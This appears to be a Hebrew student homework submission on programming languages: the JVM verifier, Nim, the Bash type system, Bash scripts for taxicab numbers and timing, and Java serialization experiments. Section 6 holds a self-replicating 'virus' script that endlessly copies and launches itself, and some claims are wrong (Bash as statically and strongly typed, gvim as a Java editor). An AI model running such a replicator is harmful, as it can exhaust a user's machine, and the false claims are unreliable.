תרגיל בית 5

1) לא מצאנו בפרוש שום דבר שמאשר את השימוש בNONE באלגוריתם של JVM אך אנו מניחים שבתהליך byte verifier לפני הבדיקה, כל משתנה מאותחל בNONE כדי להתאים לכל טיפוס, ובמהלך הבדיקה מנסה לבצע התאמה לטיפוסיות נוקשה וחוקית, ומה שלא נקבע אם היה צריך להיקבע נכשל. מלבד מקרים בהם לא ניתן לקבוע טיפוסיות כמו אוגרים שלא מוגדרים לטיפוס מסוים (עפ"י הסיכום), או פונקציות וביטויים הגורמים לסטייה מהתוכנית(יציאה מתוכנית או חריגה) ועל כן לא מחזירות ערך "מצופה" ועל כן צריכות להיקבע כמחזירות כל טיפוס אפשרי על מנת לאפשר לקוד לעבור את האימות.

2) בשפת נים יש מנגנון אסיפת זבל עם אפשרות לניהול ידני של הזיכרון ,ע"י שימוש בהפניות untraced (ptr)- הנקראים גם מצביעים. ואז על המתכנת לשחרר את המצביע באופן ידני ומפורש.

המשתנים גוועים מעצמם ביציאה מתחום ההכרה, ואריתמטיקה של מצביעים לא קיימת באופן מפורש בשפה אך ניתן לממש זאת באמצעות המרות וחישוב המקומות בזיכרון באופן ישיר, או להשתמש בתוכנית עזר הבאה:

<https://github.com/fowlmouth/nimlibs/blob/master/fowltek/pointer_arithm.nim>

במקרה שחורגים מגבולות המערך נזרקת החריגה **IndexError** בזמן ריצה.

3) ל-BASH ישנה מערכת טיפוסים מנוונת עם מספר קטן של טיפוסים אטומיים (מחרוזות ומספרים) ובנאי טיפוסים מוגבלים. זוהי שפה מפלה, פונקציות למשל. ישנה הסקת טיפוסים אוטומטית בשפה ולכן לא ניתן לשבור את הטיפוסיות, כלומר זוהי טיפוסיות חזקה. בדיקת הטיפוסים נעשית באופן סטטי, לפני הרצת כל פקודה במפרש. כיוון שהשפה מנוונת, אין טיפוסים שביניהם ישנה שקילות.  
ניהול הזיכרון ב-BASH מתנהל אוטומטית, המשתנים גוועים מעצמם ולמשתמש אין כל גישה לזכרון, מצביעים או הקצאת זכרון. בחריגה מגבולות מערך עם אינדקס חיובי נקבל מחרוזות ריקות, עם אינדקס שלילי נקבל הודעת שגיאה.  
  
גבולות התוכנית ב-BASH הם גבולות הקובץ. כלומר התכנית מתחילה מהפקודה הראשונה בקובץ ומסתיימת בפקודה האחרונה בקובץ. השפה היא אוטרקית כיוון שכל קובץ הוא תכנית שעומדת בפני עצמה.

4)

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| Message | Time | NIM | Message | Time | BASH | Error |
| *Error: unhandled exception: division by zero [DivByZeroError]* | Run time | var a: int = 5 div 0 | division by 0 (error token is "0") | Run time | a=$((5/0)) | 0 division |
| *Error: index out of bounds*  or  *IndexError* | Compilation & RunTime | type IntArray = array[0..1, int]  var x: IntArray  x[2]=5 | bad array subscript | Run time | a=(1 2 3) echo ${a[-1]} | Out of boundaries |
| *Error: undeclared identifier: 'a'* | Compilation | a=1 | No error | No error | a=$(($b+5)) | Unassigned variable |
| *Error: could not resolve: a[0]* | Compilation | var a: int  a[0] = 5 | No error | No error | a=1  echo ${a[0]} | Variable as array |

5)מספר מונית בשפת באש:

#!/bin/bash

found=0 #flag: 1-found the taxicab number, 0-otherwise

high=2  #the high var, explained in the algorithem

cont=0  #continue flag: if 1, continue to next run of outer loop

iter=0  #counter of iterations

iffs=0  #counter of ifs

#The algorithem:

#Increase the var high from 1 till we find the taxicab number

#Increase the var low from 1 to high till we find out that the number low^3+high^3 is a taxicab number

#Decrease the var high2 from high-1 to low+1 or till we find the taxicab number

#Increase the var low2 from low+1 to high2-1 or till low2^3+high2^3 equals low^3+high^3, then its the taxicab

while ((found == 0)); do

    let iter++;

    for ((low=1; low < high && found == 0; low++)); do

        let iter++;

        for ((high2=high-1; high2 > low+1 && found == 0; high2--)); do

            let iter++;

            for ((low2=low+1; low2 < high2 && found == 0 && cont == 0; low2++)); do

                let iter++;

                if ((low\*low\*low+high\*high\*high == low2\*low2\*low2+high2\*high2\*high2)); then

                    echo "The Taxicab number is" $((low\*low\*low+high\*high\*high))

                    echo "Loops =" $iter

                    echo "Ifs =" $iffs

                    let found=1;

                else if ((low2\*low2\*low2+high2\*high2\*high2 > low\*low\*low+high\*high\*high)); then

                        let cont=1;

                     fi

                fi

                let iffs+=2;

            done

            let cont=0;

        done

    done

    let high++;

done

6)וירוס:

#!/bin/bash

while ((1>0)); do

    mkdir -p tmp                #make folder tmp if not exists

    newName=$(date +%s%N)       #generate a name by time

    cat ./$0 > ./tmp/$newName    #copy the virus to tmp with generated name

    chmod 777 ./tmp/$newName    #allow new copy to run

    sleep 5s                    #wait 5 secs

    cd ./tmp                    #change directory to tmp

    ./$newName &                #run new virus is new proccess

    cd ../                      #go back to directory

    sleep 5s                    #sleep 5 secs

done

7)measure:

#!/bin/bash

avgTime=0

sd=0

errors=0

for ((i=0; i < 30; i++)); do                     #measuring 30 times

    start=$(date +%s%2N)                            #save time before running command

    eval $\* > /dev/null 2>errorOut                    #run command, delete output and save errors output

    end=$(date +%s%2N)                              #save end time

    let arr[i]=end-start                            #save running time for instanse i

    let avgTime+=end-start                          #increase total time (avgTime is total time at first)

    if [[ -n "$errorOut" ]]; then let errors++; fi  #if there were errors, then increase the number of Failures

done

let avgTime=avgTime/30                              #average time is total time divided by all runs

### calculate sd ###

for ((i=0; i < 30; i++)); do #for every run

    let x=arr[i]-avgTime        #subtruct avgTime from run time

    let x\*=x                    #square the quotient

    let sd+=x                   #add to total sum

done

let sd=sd/30                    #devide by number of instanses

sd=`echo "scale = 0; sqrt($sd)" | bc`   #take the square root of sum

####################

echo Command: $\*

echo Times: 30

echo Failures: $errors

#print Average time#

if ((avgTime>=100)); then

    let printTime1=avgTime/100

    let printTime2=avgTime%100

    echo Average avgTime: $printTime1.$printTime2 sec

else if ((avgTime>=10)); then

        echo Average time: 0.$avgTime sec

    else

        echo Average time: 0.0$avgTime sec

    fi

fi

#####################

#print SD time#

if ((sd>=100)); then

    let printSD1=sd/100

    let printSD2=sd%100

    echo SD time: $printSD1.$printSD2 sec

else if ((sd>=10)); then

        echo SD time: 0.$sd sec

    else

        echo SD time: 0.0$sd sec

    fi

fi

##############

# סרילזציה בגאווה:

7) הקובץ נשמר בתקיה ex5 , גודלו 184 בתים . הסבר הפלט:

בהתחלה מופיעים השדות של המחלקה ומחלקות שיבאה ממרחב השמות (String),מיקום התוכנית, ולבסוף ליטרלים המצויים בתוכנית (מחרוזות).

8) הפלט מציג כי הקובץ קיים, מנסה לבצע שחזור לאווביקט , מדפיס את האווביקט שקרא ותוכנו.

9) הסבר הפלט: קיבלנו את החריגה java.io.StreamCorruptedException בזמן ריצה עם ההודעה כי לא נמצאו הHEADרים ולכן הקריאת הקובץ (סטרים) נכשלה.

**חלק שני:**

3) ישנה טעות בהנחיה. הטעות היא כי הקובץ מצוי בתקיה B.

יש לפתוח את הקובץ Z.java בAncestor ולשנות את הserialVersionUID ל1729 באמצעות העורך gvim.

כלומר יש לבצע את הפקודה:

gvim Ancestor/Z.java

לתפעול gvim (שהוא עורך מיוחד לג'אווה) קראו את המדריך הבא: <http://tebrik.kampanya.org.tr/Linux/Books/gvim.pdf>

4)הודעת השגיאה שקיבלנו:

Exception in thread "main" java.io.InvalidClassException: Z; local class incompatible: stream classdesc serialVersionUID = 1729, local class serialVersionUID = -5324893836944181315

הסבר: מכיוון שProducer בAncestor שונה לגירסא חדשה יותר (1729), וביצע סרילזציה לקובץ delme.now, ובתקיה Consumer ביצענו קריאה עם גירסא ישנה יותר, קיבלנו שגיאת תאימות, שכן לא יתכן שתוכנית "ישנה" תקרא תוכנית חדשה.

**חלק שלישי:**

7) בהנחיה זו יש טעות.

תיקון הנחיה: השתמש בעורך טסט החביב עליך, כדי לשנות את ערכו של המשתנה SerialVesionUID שבקובץ Z.java שבתקיה Consumer למספר 1729, למשל:

gvim Consumer/Z.java

ובדוק כעת שהתוכנית Consumer שבתקיה Consumer מסוגלת לקרוא את הקובץ לאחר הפעלת התוכנית Producer שבתקיה Producer:

produce;consume

**חלק רביעי:**

1. טעות בנחיה: יש לאתחל בנוסף את המשתנה a.
2. טעות בהנחיה:יש לאתחל בנוסף את המשתנה x.
3. שגיאה: " java.io.InvalidClassException: Z; incompatible types for field someA"

הסבר: מכיוון ששיננו את שם השדה להיות זהה , ומתקבלת שגיאה על חוסר התאמת טיפוסים(שאותם לא שנינו). מכאן נסיק כי נעשת השווה שמית (על שם השדה והטיפוס).

5) השגיאה שהתקבלה היא "java.io.InvalidClassException: Z; local class incompatible: stream classdesc serialVersionUID = 3276686335091366281, local class serialVersionUID = 1729"

כלומר המספר הוא 3276686335091366281.

9) ניתן להסיק כי גאווה מגנרטת קוד יחודי ביחס לשדות והמטודות הנמצאות במחלקה. סדר השדות והמטודות אינו משנה.

10) ניתן להסיק כי המטודות java.io.ObjectOutputStream.writeObject0 ו java.io.ObjectInputStream.readObject0 מנסות לבצע המרה לממשק Serializable ומתקבלת חריגה בזמן ריצה java.io.NotSerializableException כאשר אנו מנסים להמיר אובייקטים שלא ממשים את ממשק זה.

לסיכום: מס' הטעויות שמצאנו בהנחיות : 4

טעויות שמצאנו בתוכנית:

מצאנו כי לא מתבצעת קריאה חזרה במחלקה Producer לאווביקט z, של הקובץ delme.now אלא רק הדפסה.